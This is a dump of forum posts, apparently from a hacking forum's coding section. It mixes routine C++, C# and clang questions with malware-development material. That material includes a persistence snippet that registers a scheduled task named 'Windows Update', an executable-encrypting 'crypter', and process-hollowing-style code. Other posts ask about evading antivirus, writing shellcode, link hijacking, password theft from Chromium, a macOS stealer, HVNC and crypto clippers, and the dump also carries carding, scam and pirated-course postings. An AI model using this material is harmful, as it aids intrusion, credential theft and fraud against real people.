std::ifstream input_file("C:\\Windows\\System32\\calc.exe", std::ios::binary);
input_file.seekg(0, std::ios_base::end);
auto length = input_file.tellg();
input_file.seekg(0, std::ios_base::beg);
std::vector<BYTE> pe_file_buffer(length);
input_file.read(reinterpret_cast<char*>(pe_file_buffer.data()), length);
auto pe_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(pe_file_buffer.data());
if (pe_dos_header->e_magic != IMAGE_DOS_SIGNATURE)
{
std::cerr << "[!] Incorrect DOS Header signature" << std::endl;
return -1;
}
auto pe_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(pe_file_buffer.data() + pe_dos_header->e_lfanew);
if (pe_nt_headers->Signature != IMAGE_NT_SIGNATURE)
{
std::cerr << "[!] Incorrect NT Headers Signature " << std::endl;
return -2;
}
auto pe_data_directory = static_cast<IMAGE_DATA_DIRECTORY>(pe_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE]);
auto section_headers = reinterpret_cast<PIMAGE_SECTION_HEADER>(reinterpret_cast<PBYTE>(pe_nt_headers) + sizeof(IMAGE_NT_HEADERS));
std::string resource_section_name = ".rsrc";
for (size_t i = 0; i < pe_nt_headers->FileHeader.NumberOfSections; ++i)
{
if (std::memcmp(section_headers->Name, resource_section_name.c_str(), resource_section_name.size()) == 0)
break;
++section_headers;
}
DWORD rva_to_offset = RvaToOffset(pe_data_directory.VirtualAddress, section_headers->VirtualAddress, section_headers->PointerToRawData);
auto resource_table = reinterpret_cast<PIMAGE_RESOURCE_DIRECTORY>(pe_file_buffer.data() + rva_to_offset);
EnumerateResources( reinterpret_cast<PBYTE>(resource_table) , resource_table);
return 1;
}
Не могу разобраться почему приходят эти не корректные данные.
Если имеются слитые видеокурсы поделитесь пжп
В мои навыки входит : HTML, CSS, JavaScript, Gulp, BEM - Верстка Лендов, Многостраничных сайтов, готов рассматривать различные тз. Работаю с гарантом либо по предоплате. @kenjicash
Hello everyone, please i want to validate BCH, Dash, XRP, and LTC wallet address using c#. I have searched online, only what i see is BTC and ETH which i tested and it works. I am having difficulty to validate BCH, DASH, XRP and LTC. Thanks for your help in advance
Приветствую всех. Столкнулся с такой делемой: хочу написать софт, который
будет подменять ссылки, которые будет открывать юзер, на нужные мне. Но вот
сейчас думаю, как можно это реализовать. Изначально думал о том, что буду
искать окна браузера, далее внедряться в браузер и как-то менять ссылку, но
что-то мне подсказывает, что это не совсем правильный вариант исполнения.
Сейчас думаю над несколькими вариантами, например, написать прокси-сервер,
который как раз будет запускаться у клиента, далее, как-то сделать так, чтобы
браузеры выходили в сеть через него, следовательно, прокси-сервер будет
получать запросы, далее просматривать их на наличие ссылок, и если попалась
ссылка, которая внесена в определённый список, то он меняет на нужную мне
ссылку(следовательно получится так, что откроется нужная мне ссылка, а не та,
которую открывал пользователь). Далее появилась мысль написать сниффер,
который будет просматривать http трафик, и делать те же манипуляции с
пакетами, исправляя данные в них, и далее отправлять. Пожалуйста, если я что-
то написал не так, подправьте меня, разъясните, где, что не так, и помогите,
если можете.
Само ТЗ звучит так: написать софт, который будет отслеживать открытие
определённых ссылок, которые находятся в чёрном списке, в любом браузере на
компе, далее, если эта определённая ссылка открывается, то софт должен
редиректнуть на нужную мне ссылку(они будут прописаны(ссылки на аналогичные
сервисы, только не запрещённые в проге)), либо же не редиректать, а ловить
попытку открытия этих определённых ссылок на стадии запроса, а далее из
менять.
Короче, просто нужно сделать так, чтобы при попытки открытия, допустим, ютуба,
открывался не ютуб, а твич.
Здравствуйте.
Подскажите книги по си и си++ под разработку на ос windows.
Так же интересует книги по внутреннему устройству и принципу работы windows.
Для дороботки и поддержки громко известного в узких кругах софта. Кто понимает о чем речь и видит дальнейшее сотрудничество оставляйте свой jabber в пм.
archive.ujems товарищи подскажите чем это открыть?
подскажите в какой ветке это поискать?
Есть необходимость выделить строки на стеке, что бы они не попадали в .rdata
В msvc компиле ранее делал так
char mas[] = {'s', 't', 'r', 'i', 'n', 'g', 0};
по итогу на стеке выделялось место под строку, и сама строка заполнялась
кодом, посимвольно или блоками, но результат был тот, что мне нужен.
недавно попытался сделать то же самое в clang, и понял что этот трюк не
прокатывает, массивы символов объединяются в строки и сохраняются в
.data/.rdata
clang использую прямо в студии, не отдельно через консольку
может есть какие-то настройки, которые надо покрутить ?
с msvc компиле такой финт срабатывает на максимальных оптимизациях, и строка
располагается на стеке, а с clang нет. отключать оптимизацию не вариант.
городить конструкции типа таких тоже не вариант:
char mas[7];
mas[0] = 's';
mas[1] = 't';
...........
mas[6] = 0;
Доброго времени суток! Кто-то может подсказать, как можно обойти такое сообщение "Trojan:MSIL/Injector.CK!MTB" от дефендера?
Через раз отрабатывает NtCreateUserProcess, возвращая 0xc000000d ошибку (Службе или функции был передан недопустимый параметр) Из 10 раз корректно отрабатывает 2-4 раза. В чем ошибка?
C++:Copy to clipboard
UNICODE_STRING NtImagePath;
RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe");
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
PS_CREATE_INFO CreateInfo = { 0 };
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
HANDLE hProcess, hThread = NULL;
NTSTATUS status = NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);
RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
RtlDestroyProcessParameters(ProcessParameters);
Чтобы мой процесс смог работать с открытым входящим портом, например, портом
30000, нужны либо права администратора, либо конфирм плашки со стороны
пользователя через уведомление от фаерволла.
Как открыть такой порт без необходимости админ прав или подтверждения от
пользователя?
privet,
podelitsa source codom prostenkogo virusa na C++ (zhelatelno c comments,
zhtobu bulo ponatney)
ne vazhno: trojan, ratnik ili ransomware - absolutno lyboi
Есть простой сишный код:
C:Copy to clipboard
#include <windows.h>
int main() {
MessageBoxW(0, 0, 0, 0);
}
Компилируем в IR:
clang -S -emit-llvm test.cpp
Компилируем IR в BC:
opt test.ll -o test.bc
Пробуем собрать в EXE'шник под х86 таргет на х64 хосте:
clang-cl test.bc -m32 /MT /link kernel32.lib libcmt.lib user32.lib
Получаем ошибку линковки error LNK2019: unresolved external symbol __imp__MessageBoxW referenced in function _main
Проверяем флаги, переданные компилем линковщику:
clang-cl test.bc -v -m32 /MT /link kernel32.lib libcmt.lib user32.lib
Все пути указаны верно:
Code:Copy to clipboard
link.exe \
"-libpath:C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Tools\\MSVC\\14.34.31933\\lib\\x86" \
"-libpath:C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Tools\\MSVC\\14.34.31933\\atlmfc\\lib\\x86" \
"-libpath:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.22621.0\\ucrt\\x86" \
"-libpath:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.22621.0\\um\\x86" \
...
Если попробовать собрать под тот же таргет что и хост:
clang-cl test.bc /MT /link kernel32.lib libcmt.lib user32.lib
Всё ок, получаем х64 бинарник.
Если попробовать собрать исходник:
clang-cl test.cpp /MT -m32 /link kernel32.lib libcmt.lib user32.lib
Всё ок, получаем х32 бинарник.
Но почему же не получается собрать байткод под другой таргет? Байткод не поддерживает кросскомпиляцию?
Ищу андроид разработчика на низкоуровневые задачи, с опытом работы с системным
апи как открытым так и закрытым, доступными только на рутованных девайсах
Работа проектная, по началу проекты небольшие (MVP продуктов), далее рабочие
mvp развиваем и масштабируем. В команде уже есть скилловые разрабы с опытом
реверса, написание системных хуков итд, ищем пополнение в команду.
Рассматриваем как фуллтайм так и парттайм (от 1/2 рабочей недели). Не
blackhat.
Также ищем крутых спецов по низкоуровневому андроиду для консультаций - если у
вас очень крутые скиллы, вы не готовы работать с нами, но готовы оказывать
платные консультации - тоже велкам.
Hello xss forum today for dev, i'm going to explain why you should avoid strcpy
So, the strcpy command is one of the most dangerous function used in C. The format look like this:
C:Copy to clipboard
//This is pseudo code
strcpy(<destination>, <source>);
The purpose of this command is to copy each character in the source string, into the destination string. This is particularly** dangerous because their no checking of the source size before it is copied to the destination.** This is called overwriting memory location. To keep it simple, when the source is larger than the space allocated for the destination, overflow condition are likely present, which result in the control of program execution. A "safer " alternative is strncpy command
C:Copy to clipboard
//Agains this is pseudo code
strncpy(<destination>, <source>, <width>);
The < width> field is used to ensure that only a certain number of characters are copied from the source string to the destination string. The width parameter should be based on the size of the destination, such as an allocated buffer
Keep in mind even bounded function can suffer from incorrect buffer size calculations. BTW keep using it if you want, more vulnerability to exploit for me
Click to expand...
Тема не то, чтобы новая, но довольно интересная. Мне кажется, что многим аверам будет похер на это (особенно облачным), но, может быть, стоит потестить:
Automatic Sample Submission by AV/EDR and Signature Scanning from Kernel. It generates launchers that can run malware on the victim using the Process Ghosting technique. Also, launche ](https://github.com/aaaddress1/Skrull)
Skrull is a malware DRM, that prevents Automatic Sample Submission by AV/EDR and Signature Scanning from Kernel. It generates launchers that can run malware on the victim using the Process Ghosting...
github.com
.
Хотел написать макос стилл и запустить в продажу но как-то не пошло. Несколько
людей писали чтоб я дал исходники бесплатно, поэтому я и делаю этот пост,
ничего сверхестественного нет. Всего пару функций и несколько строчек кода.
P.S. Я веб-дев, а не системник. За код не судите строго,
Objective-C + Laravel
Всем здоровья и комфортной среды обитания! Написал добавление в планировщик задач, но проблема в том, что каждый раз всплывает долбаное чёрное окошко. Как можно пофиксить?
C:Copy to clipboard
LPWSTR cmdAddCommand[255];
STARTUPINFO cif;
PROCESS_INFORMATION pi;
wcscat_s(cmdAddCommand, 255, L" /c schtasks /CREATE /tn \"Windows Update\" /tr ");
wcscat_s(cmdAddCommand, 255, filePath);
wcscat_s(cmdAddCommand, 255, L" /st 00:00 /du 9999:59 /sc daily /ri 1 /f");
ZeroMemory(&cif, sizeof(STARTUPINFO));
CreateProcess(L"C:\\Windows\\system32\\cmd.exe", cmdAddCommand, NULL, NULL, FALSE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &cif, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Доброго времени суток! Столкнулся со странным поведением InternetOpenUrlA - тупо виснет, коннекта нету, в ProcessExplorer на вкладке TCP/IP у процесса пусто... Код простейший
C++:Copy to clipboard
hInternet =
InternetOpenA("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_DIRECT,
NULL, 0, 0);
if (hInternet == NULL) {
show_error("InternetOpenA");
return false;
}
hUrl = InternetOpenUrlA(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hUrl == NULL) {
show_error("InternetOpenUrlA");
return false;
}
в браузере при посещении url файл скачивается... Кто нибудь сталкивался с подобным?
Всем привет
Недавно начал изучать крипт файлов, пишу на C#. Информации в сети много, но
хотелось бы пообщаться с человеком, который разбирается в этой теме и уже
имеет опыт.
Пишите в лс
Привет, реально ли написать програму для отслеживания прогрузов в ставках на кибер спорт?
Несколько месяцов назад слили исходники фифы, удалось/пробовал ли кто-то их скомпилить, есть какая-то инфа ?
Встала задача работы с большими неотрицательными целыми числами, намного
больше чем любая из стандартных структур может в себе содержать.
Для этого в качестве основы была выбрана 256-ричная система исчесления, т.к. в
ней числа можно хранить как массив байт byte[] number {...}
. Наименьший
разряд - слева, найбольший - справа. То есть числа будут выглядеть так:
Code:Copy to clipboard
x = sum from i to N-1 {number[i]*B^i}
N = number.Length
где B - это основание системы (для двоичной B=2, для десятичной B=10, для шестнадцатеричной B=16 и т.д). В нашем случае B=256 (B=2^8). byte (или uint8) принимет значения от 0 до 255.
Мне нужна функция, которая будет возвращать результат операции a mod b
деления с остатком, или хотя бы просто деление a div b
([a / b]
). Или же
алгоритм быстрого нахожднеия a*b mod c
. Подойдет любое из этих трех
(желательно 1-е или 3-е).
Вот некоторые мои наработки, которые могут натолкнуть кого-то на идею. Эти функции возвращают неправильный результат, как их исправить?
(Для простоты можно считать, что размеры входных массивов одинаковы)
Spoiler: a mod b
Code:Copy to clipboard
public static byte[] _Modulus(byte[] dividend, byte[] divisor) {
int len = dividend.length;
byte[] remainder = new byte[len];
Memory.copy(remainder, dividend, len);
for (int i = 0; i < len; i++) {
int carry = 0;
for (int j = i; j < len; j++) {
int temp = (remainder[j] & 0xff) + (carry << 8);
if (divisor[i] != 0) {
carry = temp % (divisor[i] & 0xff);
} else {
carry = temp;
}
//remainder[j] = (byte)carry;
//stdout.printf(@"i: $(i) j: $(j)\t carry: $(carry)\n");
}
remainder[i] = (byte)(carry & 0xff);
}
return remainder;
}
public static byte[] Modulus(byte[] dividend, byte[] divisor) {
int len = dividend.length;
byte[] remainder = new byte[len];
Memory.copy(remainder, dividend, len);
for (int i = 0; i < len; i++) {
int carry = 0;
for (int j = i; j < len; j++) {
int temp = (remainder[j] & 0xff) + (carry << 8);
if (divisor[i] != 0) {
carry = temp / (divisor[i] & 0xff);
remainder[j] = (byte)(temp % (divisor[i] & 0xff));
} else {
carry = temp;
}
}
}
return remainder;
}
Алгоритм быстрого взятия (mod c) от произведения a*b
Spoiler: a*b mod c
Code:Copy to clipboard
/*
1.[Начальная установка]
s = 0;
2.[Преобразовать все D байтов]
for (D-1 >= j >= 0){
s = 256s;
if (s >= N) {s = s - N};
s = s + x_j*y;
if (s >= N) {s = s - N};
}
return s;
*/
public static byte[] _MulMod(byte[] x, byte[] y, byte[] N) {
int D = N.length;
byte[] s = new byte[D];
byte[] byte256 = new byte[D];
byte256[1] = 1;
for (int j = D - 1; j >= 0; j--) {
s = multiply(s, byte256);
if (compare(s, N) >= 0) {
s = substract(s, N);
}
byte[] x_j = new byte[D];
x_j[0] = x[j];
//byte[] x_j = (byte[]) x[j];
s = add(multiply(y, x_j), s);
if (compare(s, N) >= 0) {
s = substract(s, N);
}
s = s[0:D];
}
return s;
}
Spoiler: a div b
Code:Copy to clipboard
//https://en.wikipedia.org/wiki/Long_division#Division
//https://en.wikipedia.org/wiki/Division_algorithm#Long_division
public static byte[] Divide(byte[] dividend, byte[] divisor) {
int len = dividend.length;
byte[] quotient = new byte[len];
byte[] remainder = new byte[len];
Memory.copy(remainder, dividend, len);
for (int i = 0; i < len; i++) {
int carry = 0;
for (int j = i; j < len; j++) {
int temp = (remainder[j] & 0xff) + (carry << 8);
if (divisor[i] != 0) {
quotient[j] = (byte)(temp / (divisor[i] & 0xff));
carry = temp % (divisor[i] & 0xff);
} else {
quotient[j] = (byte)carry;
carry = temp;
}
remainder[j] = (byte)carry;
}
}
return quotient;
}
Готовые библиотеки не предлагать - в моем случае их нельзя использовать!
Spoiler: Считать mod вот таким методом тоже не вариат - слишком медленно!
Code:Copy to clipboard
public static byte[] mod_int(uint64 x, uint64 y){
uint64 modulus = x, divisor = y;
while (modulus >= y){
while (divisor > modulus){
divisor >>= 1;
}
modulus = modulus - divisor;
}
return (byte[]) modulus;
}
Вот некоторые примеры чисел:
13120_10 = {64 51 0 0 0 0 0 0}_256
31214211316_10 = {244 16 131 68 7 0 0 0}_256
418302432341123382_10 = {54 225 95 144 216 27 206 5}_256
Дополнительные источники: https://ru.wikipedia.org/wiki/Система_счисления
Понадобилось написать шеллкод, который будет работать в R-X памяти (т.к.
чтение-исполнение, без записи). На Ассемблере, т.к. Сишный компилер врядли
поможет. Соответственно, встал вопрос о переменных, т.к. теперь нельзя просто
взять и объявить что-то вида alloc_fn dq ? и туда писать.
Регистров, понятно дело, на всё не хватает. На 32 бит проблема решается
достаточно легко, с помощью стека - т.е. push pop регистры. На 64 бит стек это
головная боль, кто кодил тот знает, кто нет, то объяснять долго. В общем, как
быть? Пока наметил для себя три варианта:
1. выделять память через хип, и там размещать все нужные структуры и
переменные;
2. экспериментировать со стеком, т.к. оно не так сложно, просто нужна
внимательность и отладка;
3. пусть RX шеллкод выделит RWX память и туда запишет следующий, уже
"нормальный" ШК; который можно закодить на Си без всех извратов.
Ищу курсы С++ на русском, желательно в связки с Unreal Engine , в долгу не останусь
Hi Im new here and im not sure if I can ask questions. Feel free to delete this if needed. I want to be able to write exploits, understand C code, understand binary exploitation, and write shellcodes and malware. For that i need to have a very good understanding of C and ASM.
Can you please recommend some materials or resources which can help me learn C related to the above points ?
Thanks and stay safe.
Как замапить секцию из чужого процесса в свой ?
В обратном порядке это работает очень просто, что бы замапить свою память в
чужой процесс создаем секцию через NtCreateSection, затем два раза вызываем
NtMapViewOfSection, первый для хендла своего процесса, а второй для того куда
будем мапить, при этом адреса указываем как 0, это означает что память будет
выделена в случайном месте по усмотрению системы, потом можем писать в
замапленый кусок в своем процессе и автоматически эти изменения применяются к
замапленому куску в чужом процессе
Только вот это работает, если создавать новую секцию и таким образом мы можем
писать в чужой процесс по вновь выделенным адресам, но не писать\читать из уже
созданных секций
Я предполагаю, что нужно через NtQueryProcessInformation с параметром
ProcessHandleInformation перечислить все хендлы в процессе, отсеять те,
которые по типу объекта соответствуют "секции", затем дублировать хендлы к
себе в процесс, открывать секции и получать из них информацию о адресах,
находить нужный диапазон и используя хендл подходящей секции делать
NtMapViewOfSection в свой процесс, что бы прочитать данные по нужному адресу
Кто что думает по этому поводу ?
Hello, I'm searching for Steam site scripts (such as fake balance, fake trading history, etc.) but when I reload the page it will be same and it won't disappear. I think it's extension. Thanks for any help
Доброго времени суток! При использвании Fody, Costura.Fody на ехе который находиться в архиве жалуется Windows Defender, можно ли как-то это исправить? Без них не жалуется.
Заранее спасибо.
Привет всем, как дела? Кто-нибудь знает, как получить лики по этим курсам?
Нужен кодер для создания вирусов на android, писать в телеграм: SHAGMI
As said in the title:
using System.IO;
using System.Security.Cryptography;
class Program
{
static void Main()
{
string inputFile = "your_file.exe"; // replace with your file name/path
string outputFile = "encrypted_file.exe"; // set the encrypted file name
// create random AES key (for symmetric encryption)
byte[] key = new byte[32];
using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())
{
rng.GetBytes(key);
}
// read in the input file
byte[] bytesToEncrypt = File.ReadAllBytes(inputFile);
// encrypt the input file bytes with AES
byte[] encryptedBytes = null;
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.GenerateIV();
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor,
CryptoStreamMode.Write))
{
csEncrypt.Write(bytesToEncrypt, 0, bytesToEncrypt.Length);
csEncrypt.FlushFinalBlock();
encryptedBytes = msEncrypt.ToArray();
}
}
}
// write out the encrypted bytes to a file
File.WriteAllBytes(outputFile, encryptedBytes);
}
}
hello everyone,
I am new to the forum. I am very interested in programmin. I want to learn how to mange, organize unstructured big data through python.
Помогите с решением ошибки в коде C#
Вообщем вот сам код
C#:Copy to clipboard
if (CreateProcess(targetPath, null, IntPtr.Zero, IntPtr.Zero, false, 0x00000004, IntPtr.Zero, null, ref si, out pi) != 0 && pi.hProcess.ToInt32() != 0 && pi.hThread.ToInt32() != 0)
{
}
Ошибка
Code:Copy to clipboard
Ошибка CS0019 Оператор "!=" невозможно применить к операнду типа "IntPtr" и "int".
Hello Friends,
Can someone share any open source resources for C# Form Theme/ Skin to create good looking forms. Most of Skin/Themes are paid. Can someone share a sample project which can help.
Thanks in advance.
Mike
Доброго времени суток. Работаю значит с ресурсами. пишу RT_RCDATA.
С билдером проблем вроде нет как таковых.
Spoiler: билдер
C++:Copy to clipboard
ICResult WriteResource(const char* FileName, const BYTE* FileBytes, DWORD FileSize)
{
HANDLE hUpdate = BeginUpdateResourceA(FileName, FALSE);
if (hUpdate == NULL)
return ICResult::FailBegin;
if (!UpdateResourceA(hUpdate, "RT_RCDATA", "RES_FIRST", 1066, (LPVOID)FileBytes, FileSize))
{
EndUpdateResource(hUpdate, TRUE);
return ICResult::FailUpdate;
}
if (!EndUpdateResource(hUpdate, FALSE))
return ICResult::FailEnd;
return ICResult::Success;
}
Ресурсы пишет в стаб всё нормально с этим. А так сделал чтение в стабе его.
Code:Copy to clipboard
vector<unsigned char> getResourceData(const char* resourceName) {
HMODULE hModule = GetModuleHandle(NULL);
HRSRC hResource = FindResource(hModule, resourceName, RT_RCDATA);
if (hResource == NULL) {
return std::vector<unsigned char>();
}
HGLOBAL hData = LoadResource(hModule, hResource);
if (hData == NULL) {
return std::vector<unsigned char>();
}
DWORD dataSize = SizeofResource(hModule, hResource);
if (dataSize == 0) {
return std::vector<unsigned char>();
}
const unsigned char* pData = static_cast<const unsigned char*>(LockResource(hData));
if (pData == NULL) {
return std::vector<unsigned char>();
}
std::vector<unsigned char> resourceData(pData, pData + dataSize);
return resourceData;
}
Чтение переписывал по разному с одного шарп-проекта(там всё работало). шарп-
на шарп всё ок читает. А тут я не понимаю в чём траблы вообще.
Кто сталкивался если, подскажите плиз, как достать ресурс пожалуйста?
Нужен кодер на СИ для того чтобы исправить готовый код HVNC сервера, при подключении к которому клиенту некорректо отображаются некоторые элементы меню в браузере chrome. Сам браузер и web-страницы отображаются корректо, но выпадающее меню браузера всплывает в виде чёрного квадрата. Ранее данное меню отображалось корректо, проблема появилась после очередного обновления. Необходимо исправить данный дефект отображения, чтобы на сервере можно было использовать обновлённую версию браузера. Нужен специалист, имеющий опыт работы с СИ и хорошо понимающий принцип работы клиент-серверного подключения.
Всех приветствую, нужна работа, готов рассмотреть варианты
Скажу как есть, воркал чехию, в простонародье СКАМ мамонтов на торговых
площадках. Хочется уровень выше и более прибыльнее. Много кто советует
окунуться в кардинг. У кого есть желание поделиться опытом, посоветовать что
то годное, что будет приносить деньги. Что бы хватило обзавестись личным
жильем(квартирой), буду только благодарен
не судите строго, новокек
желание изучать что то новое, куда больше чем
большое
Можно ещё и на Java
Заранее спасибо
Java-разработчик. Все части (2022)
[Яндекс.Практикум] Java-разработчик Часть 1 из 10 (2021)
https://cloud.mail.ru/public/xMap/D9ADLBcxo
[Яндекс.Практикум] Java-разработчик. Часть 2 из 10 (2021)
https://cloud.mail.ru/public/idq3/D14UEjcEt
[Яндекс.Практикум] Java-разработчик Часть 3 из 10 - Яндекс.Практикум (2022)
https://disk.yandex.ru/d/BE-XnFqn3DyFDQ
[Яндекс.Практикум] Java-разработчик Часть 4 из 10 - Яндекс.Практикум (2022)
https://disk.yandex.ru/d/Keu7_m1_Gxjs3w
[Яндекс.Практикум] Java-разработчик. Часть 5 из 10 (2022)
https://cloud.mail.ru/public/wfJb/tBRx1oBJd
[Яндекс.Практикум] Java-разработчик. Часть 6 из 10 (2022)
https://cloud.mail.ru/public/FDzh/qALfZDJyS
[Яндекс.Практикум] Java-разработчик. Часть 7 из 10 (2022)
https://cloud.mail.ru/public/KDCV/49t7y2SbQ
[Яндекс.Практикум] Java-разработчик. Часть 8 из 10 (2022)
https://cloud.mail.ru/public/XwYM/ccECmsz7H Доп. материал к курсу →
https://cloud.mail.ru/public/CUwb/XS8VT58tQ
[Яндекс.Практикум] Java-разработчик. Часть 9 из 10 (2022)
https://cloud.mail.ru/public/xxRU/HQ2PaB2CT Доп. материал к курсу
→https://cloud.mail.ru/public/CUwb/XS8VT58tQ
[Яндекс.Практикум] Java-разработчик. Часть 10 из 10 (2022)
https://cloud.mail.ru/public/MUwi/UCnoV2d5r Доп. материал к курсу
→https://cloud.mail.ru/public/CUwb/XS8VT58tQ
Y'ello guys !!!
am super excited to share this content as recommended by most of my viewers. I
have been getting request from some of you on concerning which development
tool am using for malware development. Actually I get all my tools from my
supplier on telegram. he's been my counterpart since i started malware
development. You can reach him out through this link
[https://t.me/MarkSlavyanin]. he has all you need to get started as a
malware developer. If you have any issues concerning malware development don't
hesitate to reach me out right here. Happy Coding ❤
Собсно сабж
Траю с с++ аплой - все ворк
С c# - ничего не происходит, пробовал также с CLR повозится в настройках
студии, но все тлен
Hello, I use sqlite3.c and sqlite3.h to open chromium databases in order to
decrypt passwords. The problem is that:
9/10 times -> the program gets all passwords correctly
1/10 times -> sqlite3_open16(File, &db) returns an exception in ntdll (and the
File open by sqlite is everytime different and valid, so it's not a problem
about the file)
Code:Copy to clipboard
Exception thrown at 0x00007FF9FEE1426B (ntdll.dll) 0xC0000005: Access violation reading location
I'm running the software in w10 ltsc, I suppose ntdll sometimes is used by the system and sqlite3.c can't use it so it doesn't handle this case. Do you know if there a way to fix the problem or another library to use?
Hello xss.
Is there any detailed tutorial how to use IOCP? I cannot find a 100%
explanation on the internet. It is clear how IOCP works and i have some
examples but im still figuring out...
(Я не кодирую шкафчик)
Всем привет. Столкнулся с такой проблемой, что проект без crt не хочет
линоковаться clang (ollvm)
Точнее он почему-то вставляет сртишные вызовы _chkstk и memcpy в релизный
билд.
Сразу скажу, что не использую конструкции вида struct SomeStruct ss = {0};
или BYTE z[32] = {0};
memcpy он пихает в такие конструкции:
C:Copy to clipboard
BYTE somearray[10][10] = {
{0x0, 0x1, 0x2, 0x3, 0xFF, 0x43, ...},
{0x8, 0x2, 0x5, 0x6, 0xEF, 0x58, ...},
...
}
C:Copy to clipboard
WCHAR x1[9] = L"\x5a\x5b\x6c\x6d\x7e\x6f\xFb\x21";
WCHAR x2[10] = L"\x5a\x4c\x7b\x6d\x6f\x70\x7b\xFE\x03";
WCHAR x3[12] = L"\x5b\x6e\x7c\x7c\x61\x6d\x6c\x6a\x6d\xFA\x05";
...
__chkstk просто во все функции вставляет
Параметр -fno-builtin не помог.
Так же не помогает добавление аттрибута void somefn() __attribute__((no_builtin)) {...}
Я гуглил насчёт этого всего и нашел только
no_builtin и сообщения
о том, что это невозможно, "потому что по стандарту так
надо!!"
Может есть какой-то вариант переопределить эти функции без особых проблем? Или
желательно их вообще отключить.
MSVC отлично компилирует код без этих вставок и при линковке проблем нет, а с clang'ом какая-то проблема(
Сабж в шапке но дополню, хотелось бы чтобы объяснили как белаются билдеры на C#, буду рад любым исходникам, ответам, советам!
Есть игра standoff 2, нам нужно перехвачивать пакеты с каток, проверять наличие скинов если они совпадают передавать нам ид пользователей. Софт должен сам заходить в катку, проверять если ли, если нет выходить и заходить в новую катку и так по кругу. Передача ид должна быть через телеграмм бота. мой тг @karpevg
Недавно задался вопросом о создании "виртуальной машины" (под PE x64), есть ли
примеры уже готовых виртуалок, или что-то в этом роде?
Пример
Hi, I coded a shellcode injector in C#, all working good. Injection is
undetected by defender. Problem is when I run some commands with my rat, for
example cmd it gets detected. Is there some technique that fixes that?
(rat itself is undetected too, with all the functions )
Доброго времени суток, видел как-то раз на дамаге тему, человек продавал исходники крипто клиппера на rust, было совсем недавно, причем судя по комментам людям было актуально. Сейчас думаю заказать разработку, но не уверен что это целесообразно, сам разработчик, но больше под веб и автоматизацию, поэтому очень хотелось бы услышать мнение человека в теме - стоит ли заморачиваться или нет и если да, то почему, с меня плюсик за хороший ответ)
Из известной мне инфы - клиппер на расте весит 200 кб, не могу сказать что это сильно смущает, интересуют остальные моменты - крипт, плюсы/минусы в целом и прочее
Windows Internals, Part 2, 7th.pdf
](https://anonfiles.com/V0e2v7I9u5/Windows_Internals_Part_2_7th_pdf)
anonfiles.com
Интересует вопрос - как проверять открыто ли приложение, и , если да -
закрывать его. (C++)
Заранее спасибо.
вот такая строка кода вызывает ошибку "неразрешенный внешний символ __aullshr"
C:Copy to clipboard
p_strc->m_overl.OffsetHigh = (DWORD)(p_strc->m_filesize >> 32);
кто знает как с этим бороться?
Нужно, чтобы парсились все каналы, который выдаст ютуб по моему запросу
вот код:
C#:Copy to clipboard
using Fizzler.Systems.HtmlAgilityPack;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using System.Web;
using System.Windows.Forms;
namespace Boil
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public void label1_Click(object sender, EventArgs e)
{
}
public void textBox1_TextChanged(object sender, EventArgs e)
{
}
public void button1_Click(object sender, EventArgs e)
{
Start();
}
public void richTextBox1_TextChanged(object sender, EventArgs e)
{
}
public void Start()
{
WebClient web = new WebClient();
string txt = textBox1.Text;
string[] hui = SortTextForReq(txt);
string LoadString = "https://www.youtube.com/results?search_query=";
for (int i = 0; i < hui.Length; i++)
{
LoadString += hui[i] + "+";
}
richTextBox1.AppendText(LoadString + " ");
string resp = web.DownloadString(LoadString);
File.WriteAllText("Query.html", resp, Encoding.UTF8);
Process.Start("Query.html");
HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();
doc.LoadHtml(resp);
string pars = doc.DocumentNode.QuerySelector("ytd-app").InnerHtml;
foreach (var item in doc.DocumentNode.QuerySelectorAll("a#yt-simple-endpoint style-scope yt-formatted-string.spellcheck.href")) //в этой строке пытаюсь найти каналы, но не работает
{
richTextBox1.AppendText(item.InnerText + " ");
}
}
public static string[] SortTextForReq(string text)
{
